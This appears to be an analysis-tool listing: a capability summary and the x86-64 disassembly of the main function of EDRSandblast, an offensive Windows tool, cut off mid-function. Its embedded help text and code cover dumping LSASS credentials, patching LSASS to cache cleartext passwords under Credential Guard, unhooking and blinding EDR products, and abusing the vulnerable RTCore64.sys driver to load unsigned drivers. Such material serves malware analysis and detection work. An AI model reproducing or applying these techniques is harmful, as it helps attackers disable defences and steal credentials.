Function at 0x140001250
Capabilities:
Accept command line arguments
Check if file exists
Create process on windows
Create thread
Delete file
Disable driver code integrity
Get common file path
Get file attributes
Get system information on windows
Set registry value

Disassembly:
push rbp
push rbx
push rsi
push r15
lea rbp, [rsp - 0x60a8]
mov eax, 0x61a8
call fcn.140024250
sub rsp, rax
mov rax, qword [0x14004c018]
xor rax, rsp
mov qword [rbp + 0x6090], rax
mov rbx, rdx
mov qword [rbp - 0x50], rdx
lea rdx, [rbp + 0x1e90]
mov esi, ecx
lea r8, str.Usage:_EDRSandblast.exe___h____help____v____verbose___audit__dump__cmd__credguard__firewall__load_unsigned_driver___n___usermode_____unhook_method__N______direct_syscalls_____add_dll__dll_name_or_path____n___kernelmode_____dont_unload_driver_____no_restore___n_______nt_offsets__NtoskrnlOffsets.csv______wdigest_offsets__WdigestOffsets.csv______ci_offsets__CiOffsets.csv______internet__n_______vuln_driver__RTCore64.sys______vuln_service__SERVICE_NAME____n_______unsigned_driver__evil.sys______unsigned_service__SERVICE_NAME____n__o____dump_output__DUMP_FILE___n
mov eax, 8
nop dword [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
lea r8, [r8 + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [r8 - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [r8 - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [r8 - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [r8 - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [r8 - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [r8 - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rax, 1
jne 0x1400012a0
movups xmm0, xmmword [r8]
mov rax, qword [r8 + 0x60]
lea rcx, [rbp + 0x3300]
movups xmm1, xmmword [r8 + 0x10]
mov qword [rsp + 0x61d0], rdi
movups xmmword [rdx], xmm0
mov qword [rsp + 0x61e0], r12
movups xmm0, xmmword [r8 + 0x20]
mov qword [rsp + 0x61e8], r13
movups xmmword [rdx + 0x10], xmm1
mov qword [rsp + 0x61a0], r14
movups xmm1, xmmword [r8 + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [r8 + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [r8 + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmmword [rdx + 0x50], xmm1
mov qword [rdx + 0x60], rax
movzx eax, word [r8 + 0x68]
mov r8d, 0x2d8c
mov word [rdx + 0x68], ax
lea rdx, str._n_h____help_____________Show_this_help_message_and_exit._n_v____verbose__________Enable_a_more_verbose_output._n_nActions_mode:_n_n_taudit_____________________Display_the_user_land_hooks_and___or_Kernel_callbacks_without_taking_actions._n_tdump______________________Dump_the_process_specified_by___process_name__LSASS_process_by_default___as__process_name__in_the_current_directory_or_at_the_n_t__________________________specified_file_using__o____output__DUMP_FILE_._n_tcmd_______________________Open_a_cmd.exe_prompt._n_tcredguard_________________Patch_the_LSASS_process_memory_to_enable_Wdigest_cleartext_passwords_caching_even_if_n_t__________________________Credential_Guard_is_enabled_on_the_host._No_kernel_land_actions_required._n_tfirewall__________________Add_Windows_firewall_rules_to_block_network_access_for_the_EDR_processes___services._n_tload_unsigned_driver______Load_the_specified_unsigned_driver__bypassing_Driver_Signature_Enforcement__DSE_._n_t__________________________WARNING:_currently_an_experimental_feature__only_works_if_KDP_is_not_present_and_enabled._n_n__usermode______________Perform_user_land_operations__DLL_unhooking_._n__kernelmode____________Perform_kernel_land_operations__Kernel_callbacks_removal_and_ETW_TI_disabling_._n_n_nHooking_related_options:_n_n__add_dll__dll_name_or_path_____________Loads_arbitrary_libraries_into_the_process_address_space__before_starting_n________________________________________anything.This_can_be_useful_to_audit_userland_hooking_for_DLL_that_are_not_n________________________________________loaded_by_default_by_this_program._Use_this_option_multiple_times_to_load_n________________________________________multiple_DLLs_all_at_once._n________________________________________Example_of_interesting_DLLs_to_look_at:_user32.dll__ole32.dll__crypt32.dll___n________________________________________samcli.dll__winhttp.dll__urlmon.dll__secur32.dll__shell32.dll..._n_n__unhook_method__N______________________Choose_the_userland_un_hooking_technique__from_the_following:__n_n_t0_______________________________Do_not_perform_any_unhooking__used_for_direct_syscalls_operations_._n_t1__Default______________________Uses_the__probably_monitored__NtProtectVirtualMemory_function_in_ntdll_to_remove_all_n_t________________________________present_userland_hooks._n_t2_______________________________Constructs_a_unhooked__i.e._unmonitored__version_of_NtProtectVirtualMemory__by_n_t________________________________allocating_an_executable_trampoline_jumping_over_the_hook__and_remove_all_present_n_t________________________________userland_hooks._n_t3_______________________________Searches_for_an_existing_trampoline_allocated_by_the_EDR_itself__to_get_an_unhooked_n_t_________________________________i.e._unmonitored__version_of_NtProtectVirtualMemory__and_remove_all_present_userland_n_t________________________________hooks._n_t4_______________________________Loads_an_additional_version_of_ntdll_library_into_memory__and_use_the__hopefully_n_t________________________________unmonitored__version_of_NtProtectVirtualMemory_present_in_this_library_to_remove_all_n_t________________________________present_userland_hooks._n_t5_______________________________Allocates_a_shellcode_that_uses_a_direct_syscall_to_call_NtProtectVirtualMemory__n_t________________________________and_uses_it_to_remove_all_detected_hooks_n_n__direct_syscalls_______Use_direct_syscalls_to_dump_the_selected_process_memory_without_unhooking_unserland_hooks._n_n_nBYOVD_options:_n_n__dont_unload_driver____________________Keep_the_vulnerable_driver_installed_on_the_host_n________________________________________Default_to_automatically_unsinstall_the_driver._n__no_restore____________________________Do_not_restore_the_EDR_drivers_Kernel_Callbacks_that_were_removed._n________________________________________Default_to_restore_the_callbacks._n__vuln_driver__RTCore64.sys__t_tPath_to_the_vulnerable_driver_file._n________________________________________Default_to_RTCore64.sys_in_the_current_directory._n__vuln_service__SERVICE_NAME____________Name_of
call fcn.14000e4e0
xor edx, edx
lea rcx, [rbp + 0xef0]
mov r8d, 0x208
call fcn.14000ddf0
lea rdx, [rbp + 0xef0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov r15d, 1
cmp esi, 2
jl 0x14000393a
xor edx, edx
lea rcx, [rbp + 0xad0]
mov r8d, 0x208
lea r12d, [r15 + 5]
call fcn.14000ddf0
xor edx, edx
lea rcx, [rbp + 0x1310]
mov r8d, 0x208
call fcn.14000ddf0
movups xmm0, xmmword [str.RTCore64.sys]
movzx eax, word [0x140031520]
lea rcx, [rbp + 0x1100]
movsd xmm1, qword [0x140031518]
xor edx, edx
movups xmmword [rbp + 0x8a0], xmm0
mov word [rbp + 0x8b8], ax
mov r8d, 0x208
movups xmm0, xmmword [str.evil.sys]
movzx eax, word [0x140031538]
movsd qword [rbp + 0x8b0], xmm1
movups xmmword [rbp + 0x888], xmm0
mov word [rbp + 0x898], ax
call fcn.14000ddf0
xor edx, edx
lea rcx, [rbp + 0x1520]
mov r8d, 0x208
call fcn.14000ddf0
xor edx, edx
lea rcx, [rbp + 0xce0]
mov r8d, 0x208
call fcn.14000ddf0
movups xmm0, xmmword [str.lsass.exe]
mov eax, dword [0x140031550]
lea rcx, [rbp + 0x8c0]
xor edx, edx
mov dword [rbp + 0x880], eax
mov r8d, 0x208
movups xmmword [rbp + 0x870], xmm0
call fcn.14000ddf0
xor edx, edx
mov dword [rsp + 0x60], r15d
mov dword [rsp + 0x54], edx
lea r14, [r15 - 2]
mov dword [rsp + 0x64], edx
mov r13d, edx
mov dword [rsp + 0x5c], edx
mov edi, r15d
mov dword [rsp + 0x68], edx
mov dword [rsp + 0x50], edx
mov dword [rbp - 0x48], edx
mov dword [rsp + 0x58], edx
mov dword [rsp + 0x6c], edx
mov dword [rsp + 0x70], edx
mov dword [rsp + 0x78], r15d
mov dword [rbp - 0x40], r15d
nop dword [rax]
movsxd rax, edi
lea rdx, str.dump
mov rcx, qword [rbx + rax*8]
lea rbx, [rbx + rax*8]
call fcn.14000f220
test eax, eax
jne 0x1400014f5
xor eax, eax
mov r12d, eax
jmp 0x140001a52
mov rcx, qword [rbx]
lea rdx, [0x140031568]
call fcn.14000f220
test eax, eax
jne 0x140001510
mov r12d, r15d
jmp 0x140001a52
mov rcx, qword [rbx]
lea rdx, str.credguard
call fcn.14000f220
test eax, eax
jne 0x14000152c
lea r12d, [rax + 2]
jmp 0x140001a52
mov rcx, qword [rbx]
lea rdx, str.audit
call fcn.14000f220
test eax, eax
jne 0x140001548
lea r12d, [rax + 3]
jmp 0x140001a52
mov rcx, qword [rbx]
lea rdx, str.firewall
call fcn.14000f220
test eax, eax
jne 0x140001564
lea r12d, [rax + 4]
jmp 0x140001a52
mov rcx, qword [rbx]
lea rdx, str.load_unsigned_driver
call fcn.14000f220
test eax, eax
jne 0x140001580
lea r12d, [rax + 5]
jmp 0x140001a52
mov rcx, qword [rbx]
lea rdx, [0x1400315dc]
call fcn.14000f220
test eax, eax
je 0x14000391e
mov rcx, qword [rbx]
lea rdx, str.__help
call fcn.14000f220
test eax, eax
je 0x14000391e
mov rcx, qword [rbx]
lea rdx, [0x1400315f8]
call fcn.14000f220
test eax, eax
je 0x140001a4d
mov rcx, qword [rbx]
lea rdx, str.__verbose
call fcn.14000f220
test eax, eax
je 0x140001a4d
mov rcx, qword [rbx]
lea rdx, str.__usermode
call fcn.14000f220
test eax, eax
jne 0x1400015f9
mov dword [rsp + 0x64], r15d
jmp 0x140001a52
mov rcx, qword [rbx]
lea rdx, str.__kernelmode
call fcn.14000f220
test eax, eax
jne 0x140001616
mov dword [rsp + 0x50], r15d
jmp 0x140001a52
mov rcx, qword [rbx]
lea rdx, str.__dont_unload_driver
call fcn.14000f220
test eax, eax
jne 0x140001634
xor eax, eax
mov dword [rsp + 0x60], eax
jmp 0x140001a52
mov rcx, qword [rbx]
lea rdx, str.__no_restore
call fcn.14000f220
test eax, eax
jne 0x140001652
xor eax, eax
mov dword [rsp + 0x78], eax
jmp 0x140001a52
mov rcx, qword [rbx]
lea rdx, str.__vuln_driver
call fcn.14000f220
test eax, eax
je 0x140001a17
mov rcx, qword [rbx]
lea rdx, str.__driver
call fcn.14000f220
test eax, eax
je 0x140001a17
mov rcx, qword [rbx]
lea rdx, str.__unsigned_driver
call fcn.14000f220
test eax, eax
jne 0x1400016d0
inc edi
cmp edi, esi
jg 0x14000393a
mov rbx, qword [rbp - 0x50]
mov r9, r14
movsxd rax, edi
mov r8, qword [rbx + rax*8]
nop dword [rax + rax]
inc r9
cmp word [r8 + r9*2], r13w
jne 0x1400016b0
mov edx, 0x104
lea rcx, [rbp + 0x1310]
call fcn.140013f80
jmp 0x140001a56
mov rcx, qword [rbx]
lea rdx, str.__vuln_service
call fcn.14000f220
test eax, eax
je 0x1400019dd
mov rcx, qword [rbx]
lea rdx, str.__service
call fcn.14000f220
test eax, eax
je 0x1400019dd
mov rcx, qword [rbx]
lea rdx, str.__unsigned_service
call fcn.14000f220
test eax, eax
jne 0x140001760
inc edi
cmp edi, esi
jg 0x14000393a
mov rcx, qword [rbp - 0x50]
movsxd rax, edi
mov rbx, qword [rcx + rax*8]
mov rcx, qword [0x140050208]
test rcx, rcx
je 0x140001737
call fcn.140013e2c
mov rcx, rbx
call fcn.14000f390
mov qword [0x140050208], rax
test rax, rax
jne 0x140001a52
lea rcx, str.____Error_while_attempting_to_set_the_service_name.
call fcn.140013f14
jmp 0x140001a52
mov rcx, qword [rbx]
lea rdx, str.__nt_offsets
call fcn.14000f220
test eax, eax
jne 0x1400017b0
inc edi
cmp edi, esi
jg 0x14000393a
mov rbx, qword [rbp - 0x50]
mov r9, r14
movsxd rax, edi
mov r8, qword [rbx + rax*8]
nop dword [rax + rax]
inc r9
cmp word [r8 + r9*2], r13w
jne 0x140001790
mov edx, 0x104
lea rcx, [rbp + 0x1100]
call fcn.140013f80
jmp 0x140001a56
mov rcx, qword [rbx]
lea rdx, str.__wdigest_offsets
call fcn.14000f220
test eax, eax
jne 0x140001800
inc edi
cmp edi, esi
jg 0x14000393a
mov rbx, qword [rbp - 0x50]
mov r9, r14
movsxd rax, edi
mov r8, qword [rbx + rax*8]
nop dword [rax + rax]
inc r9
cmp word [r8 + r9*2], r13w
jne 0x1400017e0
mov edx, 0x104
lea rcx, [rbp + 0x1520]
call fcn.140013f80
jmp 0x140001a56
mov rcx, qword [rbx]
lea rdx, str.__ci_offsets
call fcn.14000f220
test eax, eax
jne 0x140001850
inc edi
cmp edi, esi
jg 0x14000393a
mov rbx, qword [rbp - 0x50]
mov r9, r14
movsxd rax, edi
mov r8, qword [rbx + rax*8]
nop dword [rax + rax]
inc r9
cmp word [r8 + r9*2], r13w
jne 0x140001830
mov edx, 0x104
lea rcx, [rbp + 0xce0]
call fcn.140013f80
jmp 0x140001a56
mov rcx, qword [rbx]
lea rdx, [0x1400317c4]
call fcn.14000f220
test eax, eax
je 0x1400019a1
mov rcx, qword [rbx]
lea rdx, str.__dump_output
call fcn.14000f220
test eax, eax
je 0x1400019a1
mov rcx, qword [rbx]
lea rdx, str.__process_name
call fcn.14000f220
test eax, eax
jne 0x1400018d0
inc edi
cmp edi, esi
jg 0x14000393a
mov rbx, qword [rbp - 0x50]
mov r9, r14
movsxd rax, edi
mov r8, qword [rbx + rax*8]
nop dword [rax]
inc r9
cmp word [r8 + r9*2], r13w
jne 0x1400018b0
mov edx, 0xa
lea rcx, [rbp + 0x870]
call fcn.140013f80
jmp 0x140001a56
mov rcx, qword [rbx]
lea rdx, str.__unhook_method
call fcn.14000f220
test eax, eax
jne 0x140001905
inc edi
cmp edi, esi
jg 0x14000393a
mov rbx, qword [rbp - 0x50]
movsxd rcx, edi
mov rcx, qword [rbx + rcx*8]
call fcn.1400105c0
mov dword [rbp - 0x40], eax
jmp 0x140001a56
mov rcx, qword [rbx]
lea rdx, str.__direct_syscalls
call fcn.14000f220
test eax, eax
jne 0x140001922
mov dword [rsp + 0x68], r15d
jmp 0x140001a52
mov rcx, qword [rbx]
lea rdx, str.__add_dll
call fcn.14000f220
test eax, eax
jne 0x14000196d
inc edi
cmp edi, esi
jg 0x14000393a
mov rcx, qword [rbp - 0x50]
movsxd rbx, edi
mov rcx, qword [rcx + rbx*8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp rax, r14
jne 0x140001a52
mov rax, qword [rbp - 0x50]
lea rcx, str.Library__s_could_not_have_been_loaded__exiting..._n
mov rdx, qword [rax + rbx*8]
jmp 0x140003948
mov rcx, qword [rbx]
lea rdx, [0x1400318d8]
call fcn.14000f220
test eax, eax
je 0x140001997
mov rcx, qword [rbx]
lea rdx, str.__internet
call fcn.14000f220
test eax, eax
jne 0x14000393a
mov dword [rsp + 0x5c], r15d
jmp 0x140001a52
inc edi
cmp edi, esi
jg 0x14000393a
mov rbx, qword [rbp - 0x50]
mov r9, r14
movsxd rax, edi
mov r8, qword [rbx + rax*8]
nop dword [rax]
inc r9
cmp word [r8 + r9*2], r13w
jne 0x1400019c0
mov edx, 0x104
lea rcx, [rbp + 0x8c0]
call fcn.140013f80
jmp 0x140001a56
inc edi
cmp edi, esi
jg 0x14000393a
mov rcx, qword [rbp - 0x50]
movsxd rax, edi
mov rbx, qword [rcx + rax*8]
mov rcx, qword [0x140050200]
test rcx, rcx
je 0x140001a03
call fcn.140013e2c
mov rcx, rbx
call fcn.14000f390
mov qword [0x140050200], rax
jmp 0x140001746
inc edi
cmp edi, esi
jg 0x14000393a
mov rbx, qword [rbp - 0x50]
mov r9, r14
movsxd rax, edi
mov r8, qword [rbx + rax*8]
nop
inc r9
cmp word [r8 + r9*2], r13w
jne 0x140001a30
mov edx, 0x104
lea rcx, [rbp + 0xad0]
call fcn.140013f80
jmp 0x140001a56
mov dword [rsp + 0x54], r15d
mov rbx, qword [rbp - 0x50]
inc edi
cmp edi, esi
jl 0x1400014d0
call fcn.1400010d0
test eax, eax
je 0x140001a74
xor eax, eax
mov dword [rsp + 0x60], eax
jmp 0x140001c46
lea rax, [rbp + 0x1b30]
mov edx, 6
lea rcx, str._______________________________________________________________________r_n__________________________________________________________r_n________________________________________________________r_n_____________________________________________________r_n_______________________________________________r_n____________________________________._______________n
nop word [rax + rax]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rdx, r15
jne 0x140001a90
movups xmm0, xmmword [rcx]
mov r8d, 0x1d2
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
lea rcx, [rbp + 0x175e]
movups xmmword [rax + 0x40], xmm0
movups xmm0, xmmword [str.D3FC0N_30_Edition]
movups xmmword [rax + 0x50], xmm1
mov eax, dword [0x14002e230]
movups xmm1, xmmword [0x14002e220]
mov dword [rbp - 0x60], eax
mov eax, dword [0x14002e260]
movups xmmword [rbp - 0x80], xmm0
mov dword [rbp + 0x1758], eax
movups xmm0, xmmword [str.Thomas_DIOT____Qazeer_]
movzx eax, word [0x14002e264]
movups xmmword [rbp - 0x70], xmm1
mov word [rbp + 0x175c], ax
movups xmm1, xmmword [0x14002e248]
movaps xmmword [rbp + 0x1730], xmm0
movsd xmm0, qword [0x14002e258]
movsd qword [rbp + 0x1750], xmm0
movaps xmmword [rbp + 0x1740], xmm1
call fcn.14000ddf0
movups xmm0, xmmword [str.Maxime_MEIGNAN___th3m4ks_]
mov eax, dword [0x14002e298]
xor edx, edx
movups xmm1, xmmword [0x14002e278]
lea rcx, [rbp + 0x1964]
mov r8d, 0x1cc
movaps xmmword [rbp + 0x1930], xmm0
movups xmm0, xmmword [0x14002e288]
mov dword [rbp + 0x1960], eax
movaps xmmword [rbp + 0x1940], xmm1
movaps xmmword [rbp + 0x1950], xmm0
call fcn.14000ddf0
xor ecx, ecx
call fcn.140013dbc
mov rcx, rax
call fcn.14000ef84
call fcn.14000ef58
mov ebx, eax
and ebx, 0x80000001
jge 0x140001bf6
dec ebx
or ebx, 0xfffffffe
inc ebx
lea rcx, [rbp + 0x1b30]
call fcn.140013f14
lea ecx, [rbx + 1]
and ecx, 0x80000001
jge 0x140001c14
dec ecx
or ecx, 0xfffffffe
inc ecx
movsxd rax, ecx
lea r9, [rbp + 0x1730]
shl rax, 9
lea r8, [rbp + 0x1730]
add r9, rax
lea rdx, [rbp - 0x80]
movsxd rax, ebx
lea rcx, str.___s___s___s_n_n
shl rax, 9
add r8, rax
call fcn.140001010
cmp r12d, 6
jne 0x140001c5d
lea rcx, str.____You_did_not_provide_an_action_to_perform:_audit__dump__credguard_or_cmd
call fcn.140013f14
jmp 0x14000394d
mov esi, dword [rsp + 0x50]
cmp r12d, r15d
jne 0x140001c7b
test esi, esi
jne 0x140001c7b
lea rcx, str.cmd_mode_needs_kernel_land_unhooking_to_work__please_enable___kernelmode
call fcn.140013f14
jmp 0x14000394d
mov edi, dword [rsp + 0x64]
test edi, edi
jne 0x140001ca4
test esi, esi
jne 0x140001c98
lea rcx, str.____You_did_not_provide_at_least_one_option_between___usermode_and___kernelmode._Enabling___usermode_by_default..._n
call fcn.140013f14
mov edi, r15d
jmp 0x140001ca4
lea rcx, str.____If_kernel_mode_bypass_is_enabled__it_is_recommended_to_enable_usermode_bypass_as_well__e.g._to_unhook_the_NtLoadDriver_API_call__n
call fcn.140013f14
cmp r12d, 2
jne 0x140001fcf
test esi, esi
jne 0x140001cbe
lea rcx, str.____Credential_Guard_bypass_might_fail_if_RunAsPPL_is_enabled._Enable___kernelmode_to_bypass_PPL_n
call fcn.140013f14
mov r14d, r15d
test edi, edi
je 0x140001d52
lea rcx, str.__USER_MODE___n
call fcn.140013f14
lea rcx, str.___Detecting_userland_hooks_in_all_loaded_DLLs...
call fcn.140013f14
call fcn.140006470
lea rcx, [0x140031f38]
mov rbx, rax
call fcn.140013f14
cmp r12d, 3
je 0x140001d46
mov edi, dword [rbp - 0x40]
test edi, edi
je 0x140001d46
mov rax, qword [rbx]
test rax, rax
je 0x140001d46
lea rcx, str.____Hooks__tRemoving_detected_userland_hooks...
call fcn.140013f14
mov rax, qword [rbx]
test rax, rax
je 0x140001d46
nop
mov rdx, qword [rbx + 0x10]
lea rcx, str.____Hooks__tUnhooking__s_using_method__ld..._n
mov r8d, edi
call fcn.140001070
mov edx, edi
mov rcx, rbx
call fcn.140005d60
add rbx, 0x20
cmp qword [rbx], r13
jne 0x140001d20
lea rcx, [0x140031f38]
call fcn.140013f14
test esi, esi
je 0x14000257b
lea rcx, str.__KERNEL_MODE___n
call fcn.140013f14
mov rsi, 0xffffffffffffffff
lea rcx, [rbp + 0xad0]
mov rax, rsi
nop word [rax + rax]
inc rax
cmp word [rcx + rax*2], r13w
jne 0x140001d80
test rax, rax
jne 0x140001db7
lea rdx, [rbp + 0xef0]
lea rcx, [rbp + 0xad0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rdx, [rbp + 0x8a0]
lea rcx, [rbp + 0xad0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, [rbp + 0xad0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140002568
test al, 0x10
jne 0x140002568
lea rcx, [rbp + 0x1100]
mov rax, rsi
nop
inc rax
cmp word [rcx + rax*2], r13w
jne 0x140001de0
test rax, rax
jne 0x140001e37
movups xmm0, xmmword [str.NtoskrnlOffsets.csv]
lea rdx, [rbp + 0xef0]
movups xmm1, xmmword [0x140032090]
lea rcx, [rbp + 0x1100]
movups xmmword [rbp - 0x80], xmm0
movsd xmm0, qword [0x1400320a0]
movsd qword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x70], xmm1
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x1100]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, str.___Setting_up_prerequisites_for_the_kernel_read_write_primitives...
call fcn.140013f14
lea rcx, [rbp + 0x1100]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140001eb3
test al, 0x10
jne 0x140001eb3
lea rcx, str.___Loading_kernel_related_offsets_from_the_CSV_file
call fcn.140013f14
lea rcx, [rbp + 0x1100]
call fcn.1400075f0
cmp qword [0x14004e1f0], r13
je 0x140001ea7
cmp qword [0x14004e1f8], r13
je 0x140001ea7
cmp qword [0x14004e200], r13
je 0x140001ea7
cmp qword [0x14004e228], r13
je 0x140001ea7
cmp qword [0x14004e230], r13
je 0x140001ea7
cmp qword [0x14004e238], r13
jne 0x140001eb3
lea rcx, str.____Offsets_are_missing_from_the_CSV_for_the_version_of_ntoskrnl_in_use.
call fcn.140013f14
lea rdi, [0x14004e1f0]
cmp dword [rsp + 0x5c], r13d
je 0x140002076
cmp qword [0x14004e1f0], r13
je 0x140001eff
cmp qword [0x14004e1f8], r13
je 0x140001eff
cmp qword [0x14004e200], r13
je 0x140001eff
cmp qword [0x14004e228], r13
je 0x140001eff
cmp qword [0x14004e230], r13
je 0x140001eff
cmp qword [0x14004e238], r13
jne 0x140002076
lea rcx, str.___Downloading_kernel_related_offsets_from_the_MS_Symbol_Server__will_drop_a_.pdb_file_in_current_directory_
call fcn.140013f14
call fcn.1400077c0
cmp qword [0x14004e1f0], r13
je 0x14000206a
cmp qword [0x14004e1f8], r13
je 0x14000206a
cmp qword [0x14004e200], r13
je 0x14000206a
cmp qword [0x14004e228], r13
je 0x14000206a
cmp qword [0x14004e230], r13
je 0x14000206a
cmp qword [0x14004e238], r13
je 0x14000206a
lea rcx, str.___Downloading_offsets_succeeded__
call fcn.140013f14
lea rcx, [rbp + 0x1100]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140002076
test al, 0x10
jne 0x140002076
lea rcx, str.___Saving_them_to_the_CSV_file...
call fcn.140013f14
call fcn.140007bd0
lea r8, [0x140039ab4]
mov qword [rsp + 0x70], r13
lea rdx, [rbp + 0x1100]
mov rbx, rax
lea rcx, [rsp + 0x70]
call fcn.140014900
mov rcx, qword [rsp + 0x70]
test rcx, rcx
jne 0x14000200b
lea rcx, str.____Offset_CSV_file_connot_be_opened
jmp 0x140002071
test r12d, r12d
jne 0x140001fe8
test esi, esi
jne 0x140001cbe
lea rcx, str.____LSASS_dump_might_fail_if_RunAsPPL_is_enabled._Enable___kernelmode_to_bypass_PPL_n
jmp 0x140001cb9
cmp r12d, 5
jne 0x140001cbe
test esi, esi
jne 0x140001cbe
lea rcx, str.load_unsigned_driver_mode_needs_kernel_land_DSE_disabling_operation_to_work__please_enable___kernelmode
call fcn.140013f14
jmp 0x14000394d
mov r8, rbx
lea rdx, [0x1400314fc]
call fcn.140005800
mov rbx, rdi
lea r14, [0x14004e240]
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [rbx]
lea rdx, str.__llx
mov rcx, qword [rsp + 0x70]
call fcn.140005800
add rbx, 8
cmp rbx, r14
jl 0x140002030
mov rdx, qword [rsp + 0x70]
lea rcx, [0x1400327a8]
call fcn.140014b8c
mov rcx, qword [rsp + 0x70]
call fcn.1400149dc
jmp 0x140002076
lea rcx, str.____Downloading_offsets_from_the_internet_failed__
call fcn.140013f14
cmp qword [0x14004e1f0], 0
je 0x140002557
cmp qword [0x14004e1f8], 0
je 0x140002557
cmp qword [0x14004e200], 0
je 0x140002557
cmp qword [0x14004e228], 0
je 0x140002557
cmp qword [0x14004e230], 0
je 0x140002557
cmp qword [0x14004e238], 0
je 0x140002557
mov r14d, dword [rsp + 0x54]
test r14d, r14d
je 0x14000211b
lea rcx, str.___Ntoskrnl_offsets:
call fcn.140001010
lea rbx, [0x14004e238]
nop word [rax + rax]
mov rdx, qword [rdi]
lea rcx, str.__llx_
call fcn.140001010
add rdi, 8
cmp rdi, rbx
jl 0x1400020f0
mov rdx, qword [0x14004e238]
lea rcx, str._llx_n
call fcn.140001010
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x70], r13
lea rcx, [rbp + 0xad0]
call fcn.140003b20
test eax, eax
je 0x140002178
lea rcx, str.___Vulnerable_driver_is_already_running__n
call fcn.140013f14
mov rcx, qword [0x140050200]
test rcx, rcx
je 0x140002152
call fcn.140013e2c
mov rcx, qword [rsp + 0x70]
call fcn.14000f390
mov qword [0x140050200], rax
test rax, rax
jne 0x140002302
lea rcx, str.____Error_while_attempting_to_set_the_service_name.
jmp 0x1400022fd
lea rcx, str.___Installing_vulnerable_driver...
call fcn.140013f14
mov rbx, qword [0x140050200]
test rbx, rbx
je 0x1400021a2
mov rax, rsi
inc rax
cmp word [rbx + rax*2], 0
jne 0x140002193
test rax, rax
jne 0x1400021d0
mov edx, 2
lea ecx, [rdx + 7]
call fcn.14000ef50
mov rbx, rax
test rax, rax
jne 0x1400021bc
mov rbx, r13
jmp 0x1400021c9
mov edx, 8
mov rcx, rax
call fcn.140009780
mov qword [0x140050200], rbx
lea r8, [rbp + 0xad0]
mov rdx, rbx
mov rcx, rbx
call fcn.1400091f0
cmp eax, 5
jne 0x1400021f5
lea rcx, str.____0x00000005___Access_Denied_when_attempting_to_install_the_driver___Did_you_run_as_administrator_
call fcn.140013f14
jmp 0x1400021fd
test eax, eax
je 0x1400022eb
lea rcx, str.____An_error_occurred_while_installing_the_vulnerable_driver
call fcn.140013f14
lea rcx, str.___Uninstalling_the_service_and_attempting_the_install_again...
call fcn.140013f14
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x14004ca60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x14004ca60], rsi
call fcn.140003a90
mov ecx, 0x7d0
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
test ebx, ebx
je 0x1400022c0
mov rbx, qword [0x140050200]
test rbx, rbx
je 0x14000226f
mov rax, rsi
nop dword [rax]
inc rax
cmp word [rbx + rax*2], 0
jne 0x140002260
test rax, rax
jne 0x14000229d
mov edx, 2
lea ecx, [rdx + 7]
call fcn.14000ef50
mov rbx, rax
test rax, rax
jne 0x140002289
mov rbx, r13
jmp 0x140002296
mov edx, 8
mov rcx, rax
call fcn.140009780
mov qword [0x140050200], rbx
lea r8, [rbp + 0xad0]
mov rdx, rbx
mov rcx, rbx
call fcn.1400091f0
cmp eax, 5
jne 0x1400022dc
lea rcx, str.____0x00000005___Access_Denied_when_attempting_to_install_the_driver___Did_you_run_as_administrator_
call fcn.140013f14
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.____New_uninstall___install_attempt_failed__make_sure_that_there_is_no_trace_of_the_driver_left...
call fcn.140013f14
jmp 0x14000394d
test eax, eax
jne 0x1400022c0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x1388
